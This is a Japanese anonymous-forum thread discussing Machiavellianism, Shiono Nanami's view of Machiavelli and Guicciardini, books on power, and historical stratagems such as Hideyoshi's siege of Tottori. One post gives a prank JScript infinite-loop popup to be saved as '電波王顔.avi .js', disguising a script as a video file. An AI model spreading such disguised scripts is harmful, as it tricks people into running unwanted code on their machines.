【歴史に学ぶ】権謀術数【マキャベリズム】

おれもおまえも塩野七生

塩野自身は>>286を「わが友マキアヴェッリ」で否定してるけ どな。以下引用


日本に限らず欧米でも、マキアヴェリズムを考えだした当のマキアヴェッリは少しもマキアヴェリストでなく、真のマキアヴェリスト は フランチェスコ・グィッチャルディーニで あった、とする人が少なくない。
私にはそれが、ローマ帝国崩壊後の数百 年の惨状を知らずして、中世は暗黒ではなかったという人に 似て、実に皮相な判断に思える。
真のマキアヴェリストならば、当然、政治的な判断力を要求されるであろう。
政治というものが少しでもわかっている者ならば、
どうしたらコニャック同盟のようなものを、あのような形のままで 推し進めることができたであろうか。
（中略）
もしもこの外交が成功していたならば、
イタリアの終焉は、あのように早く、あのように惨めには起こらなかったはずである。

>>288
私にはそれが、ローマ帝国崩壊後の数百 年の惨状を知らずして、中世は暗黒ではなかったという人に 似て、実に皮相な判断に思える

この一文でやっぱりグィッチャルディーニが真のマキャベリストなんじゃないかとより一層強く思うようになっちゃった

生殺与奪を握る人物の顔色を常にうかがい、自分の本心とは別に、その人が聞きたいことをしゃべる。日和見主義に徹するのが肝要。

洋書や中華の本だったら歴史や古典から導き出された権謀術数の技能を
まとめた本とか出版されてそうなんだがなあ…
日本では露骨なやつは見たことない

>>291
福田和也の「悪の恋愛術」とかは？

一応福田も権謀術数使って日本文壇界の重鎮(年齢的にはかなり若い)になったマキャベリストになるんだろうか

>>292
『悪の〜』とか『ワルの〜』って実際役に立つの？
なんか軽い読み物としてのイメージしかないなあ

権力でググったら、
ジェフェリーフェファーが『権力を握る人の法則』なる胡散臭い本を書いてる
この人も落ちたなｗ
昔大学の時、この人の経営学の専門書を読まされた記憶があるんだが

痛いタイトルだな(笑)

>>292
小林秀雄、安岡正篤、高坂正尭に続く政府系知識人というニッチ産業に
なるのはこいつぐらいしかいないからな。中西輝政がダメになった今期待する
パトロンも多かろうて

「知識人」という言葉を久しぶりに聞いた気がするｗ
ガキの頃はとくに違和感もなく聞いていたが、今ではなんとも小恥ずかしい響きに思えるなぁ。
イメージではバブル崩壊の頃に頻出してたように思うが、いつから使われだした言葉なのかな。

でも知識人という言葉がなかったとして
今知識人と呼ばれているような層は何と表現するのかという問題はあるだろう。

中国由来の言葉で士大夫とか文人とか知者とか賢人とか、学者とか高等遊民とか
まあいろいろあるんじゃね？

売文乞食

>>298
いま、知識人なんて呼ばれて嬉しがる人いるか？「知識階層」という言葉は生き残ってるけども。
特定の学問分野の裏付けがない呼称は、もはや胡散臭さを漂わせるだけだと皆わかってると思うよ。
だから哲学者、政治学者、歴史学者、宗教学者、経済学者、社会学者といった紹介のされ方がほとんだよね。

権謀術の実際例などを明かすジャーナリスト

http://music.geocities.jp/jphope21/0202/1/110.html

そのジャーナリストは、元公安調査庁職員だった。

このスレを見て学んだこと。

日本人は権謀術数を好まない。

以上。

走為上
「走（に）ぐるを上（じょう）と為（な）す」、逃げるのが最善の策である

逃げ場がたっぷりある中国大陸ならいいだろうが、日本だと逃げ場がないから無理

【電子書籍】「To Loveる」電子版で夢のフルカラー化　この肌色、脳内補完ではない！
http://anago.2ch.net/test/read.cgi/moeplus/1348288421/7

7 名前：なまえないよぉ〜[sage] 投稿日：2012/09/22(土) 13:43:19.36 ID:GCaT53RZ
ワンピもやってたな。
モノクロで海外に無料で拡販して
後で電子書籍でカラーで回収する憲法術中

15 名前：なまえないよぉ〜[] 投稿日：2012/09/22(土) 14:35:36.74 ID:TMcV6d3w
>>7

権謀術数

鳥取城攻めで秀吉のやったこと

「秀吉が攻めてくるぞ」と噂を流して城に物資を集積させる
→「やっぱやめになった」という噂を流して安心させる
→「代わりに能登の方で戦争が始まったんで米を高く買うよ！」と商人を送る
→城の最低限として決められた備蓄を割り込むほど売らせる
　（城の米の管理をしてた武士が市場の4倍の価格に目が眩んで売った）
→ゆっくり攻め込んで近隣の農民も皆城に避難させる
→全てのルートを塞いで完成

そして地獄絵図

>>266
グローバルvsローカル：価値観の対立 : 地政学を英国で学んだ
http://geopoli.exblog.jp/19713391/

> 日本はかたくなに「ローカルな価値観」に引き込もってしまうわけで、これでは
> 「グローバルな価値観」で攻めてくる対外勢力にたいしてなんの戦略的効果も
> 見込めません。
>
> なぜなら「ローカルな価値観」というのはあくまでも「ローカル」なわけですから、
> 味方を得ることができずに孤立化するばかり。
>
> 向こうが「グローバルな価値観」でくるなら、好き嫌いは別として、こちらも
> 「グローバルな価値観」を逆に活用して対抗していかないとマズいわけです。
>
> ところがこのような「グローバルな価値観による対抗策」を日本側が考えたり
> 実行したりしようとする場合にネックとなるのが、日本の「ローカルな価値観」を
> 最高のものと位置付けて信奉している人々。

高等ユーミン
バイブIN乞食

サイコパス

まあこのスレ見てたら何でマキャベリが叩かれてた時代があるかよくわかる気もするわ
人が望むのは耳が痛い真実よりも甘〜いウソだからな

権謀術数なんてえげつないものを使ったら中国だったらいいかもしれんけど、日本じゃアウトだろ
ある意味人を殴るよりも悪いことだろ

武者は犬ともいへ、畜生ともいへ、勝つことが本にて候
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　朝倉宗滴

◆電波王の顔写真が公開されるプログラム◆
１．メモ帳に↓をコピペする
　　for(;;){ WScript.Echo('このウィンドウは永久に消えません。m9（＾Д＾）プギャー'); }
２．ファイル名を↓で保存する
　　電波王顔.avi .js
これだけでOK！

こういうのは恐らく大多数は策略から身を守るために知りたいんじゃないの？

個人的には若いうちに手痛い失敗しといたほうがいいとかそんな感じだと思う
率いてる千人隊全滅しちゃっても笑って誤魔化せるけど一国の全軍全滅させちゃったらそうはいかない

身を守るためってのもよくわからんな
陰謀によって誰かを追い落とすとかそういうのすら今はもうないだろ
あるとしても政治家くらいなんじゃないの？
策を用いることだけでなく策から身を守る必要すら感じないけどな
ただ孫子の敵を知り自分を知れば云々は大切だろうけどね

だいたい今の時代個人的な秘密警察なんかどうやって持つんだよって感じ

思ったんだけど、実際に君主論を使って有力者になった人っているのかね？

そんな奴いないだろ
すぐにそんな危ないやつ排除されるよ

権謀術数だとバレたら負け

権謀が一番飛び交った時代っていつだろう
世界的に見て

>>320
勘だけどウェストファリア条約以降

毛沢東の狡猾さには引くわ

サラリーマンの逆襲　悪い奴が出世する方法
上司に媚び奸智の強者となれ

Google チンピラ哲学 マキャベリズム

>>156
それ今もけんか売る日本人がいるよｗ
外資で外人社長に文句ばっか言うんだけど
日本をまるで知らない外人社長だと
その日本人をすぐ首にするｗ

言ってることは日本人のほうが正しいんだろうけど
海外の価値判断基準からするとこういう行動は
あまりよく評価されないだろうね。
やはり言語性IQが低いから説得の仕方が悪いんだろうね

戦国策全訳を安い値段で出してくれ

　
>>324　http://unkar.org/r/news2/1249240655

相変わらずマキャベリは誤解されてるな

エチオピアへの「妨害工作」、エジプト政治家らがテレビ中継知らずに議論
2013年06月05日 14:22　発信地:カイロ/エジプト
http://www.afpbb.com/article/politics/2948031/10848151?ctm_campaign=txt_topics

権力に翻弄〜以外に他に良い本ない？

世界の名著16マキが送料込み300円で買えてしまった
値付け間違ってないかおい
まぁいいや
ようやくディスコルシをゆっくり読める

「俺だけが全て欲しい」という権力欲を突き抜けて行った先にあるのは公共性とか共和制って言う観点に行き着かないと最後は悲惨な末路を遂げる
私人としてはゲスなタレーランやアレクサンドル6世が今でも「国家理性」の観点から評価される業績を残してるのに対して
その域に達して無い「あれもこれも全部俺の物だ」って言う観点に留まる人間は必ず悲惨な末路を遂げている、ベリヤとかチャウチェスクとかな

君主論が「共和主義者の教科書」と言う評をしたのは、そういう所まで深く見抜いてたからだろうと思う

マキャベリズムって本当に有効なのか疑わしい気がする
短期的には良くても反感買って一代で終るイメージ
モデルがチューザレさんじゃ、ねー

逆に一代で成り上がりたいなら史上最強の有効戦術

by 渡辺 みき

-- 建前 --
素晴らしいですね、
優秀な皆さんもっと書き込みを頑張ってください。
そうすれば夢を叶えるのに近づいていきます。
-- 本音 --
ウヒャウヒャ！
知識を詰め込むしか脳に無いテメーらよ、もっと書き込めや！
俺様が、従業員(=奴隷)の洗脳や、他の役員を背後から撃つのに
役立ちそうな情報を満載にするために（藁）

三国志読めばいいの？

マキャのほうならローマ史
韓非子のほうなら戦国策